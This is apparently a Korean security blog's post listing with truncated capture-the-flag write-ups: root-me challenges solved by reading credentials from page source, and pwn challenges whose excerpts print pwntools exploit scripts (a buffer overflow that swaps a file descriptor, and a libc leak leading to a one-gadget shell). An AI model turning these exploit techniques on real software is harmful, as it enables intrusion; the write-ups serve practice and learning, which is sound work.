분류 전체보기(603)
-
rootme - Javascript - Authentication 2
해당 문제 사이트를 접속하면 id 와 password를 요구하는 prompt 창이 뜹니다. 해당 페이지의 로그인 코드를 확인하면 function connexion(){ var username = prompt("Username :", ""); var password = prompt("Password :", ""); var TheLists = ["GOD:HIDDEN"]; for (i = 0; i < TheLists.length; i++) { if (TheLists[i].indexOf(username) == 0) { var TheSplit = TheLists[i].split(":"); var TheUsername = TheSplit[0]; var ThePassword = TheSplit[1]; if (user..
2021.02.08 -
rootme - Javascript - Source
문제 사이트를 접속하면 다짜고차 아래와 같은 입력란이 나옵니다. 아무거나 입력하고, 소스코드를 확인해보면 password를 확인할 수 있습니다 :) 이를 인증하면 문제 풀이가 가능합니다.
2021.02.08 -
rootme - HTML - Source code
처음 사이트를 접속하면 위와같은 사이트를 확인할 수 있습니다. 소스코드를 확인하면 바로 비밀번호를 확인할 수 있고, 이를 인증하면 문제를 풀이할 수 있습니다.(grin)
2021.02.07 -
rootme - Javascript - Authentication
해당 문제를 접속하면 아래와 같은 로그인 창을 확인할 수 있습니다. 소스코드를 확인하면 위와 같이 login.js 를 확인할 수 있고, 해당 login.js 를 확인하면 username 과 passwd를 확인할 수 있습니다. 따라서 알맞게 입력하면 아래와 같은 인증 문자를 받을 수있고, 인증하면 문제가 풀립니다.
2021.02.06 -
HackCTF - j0n9hyun's secret
from pwn import * context.log_level = "debug" r = remote("ctf.j0n9hyun.xyz", 3031) #r = process("./j0n9hyun_secret") e = ELF("./j0n9hyun_secret") l = e.libc r.recv() pay = "" pay += "A"*0x138 pay += p8(3) r.sendline(pay) r.interactive() 페이로드는 위와 같이 풀었다. 바이너리가 다 깨져서 하나하나 어셈보고 풀이했다. 이렇게 어셈 정리해서 read부분에서 읽어올때 fd를 3으로 바꿔주면된다. 3으로 바꿔주는 이유는 이게 중간에 실행되는데 flag파일에 대한 fd가 3이고, top_secret에 대한 fd가 4여서 3으로 바..
2021.02.06 -
pwn - r0pbaby
from pwn import * context.log_level = "debug" r = process("./r0pbaby") e = ELF("./r0pbaby") l = e.libc shell = [0x4f3d5, 0x4f432, 0x10a41c] system_off = l.sym['system'] r.sendlineafter(": ", "2") r.sendlineafter(": ", "system") r.recvuntil(": ") leak = int(r.recv(18), 16) libc_base = leak - system_off one_shot = libc_base + shell[0] log.info("leak = " + hex(leak)) log.info("libc_base = " + hex(l..
2021.02.05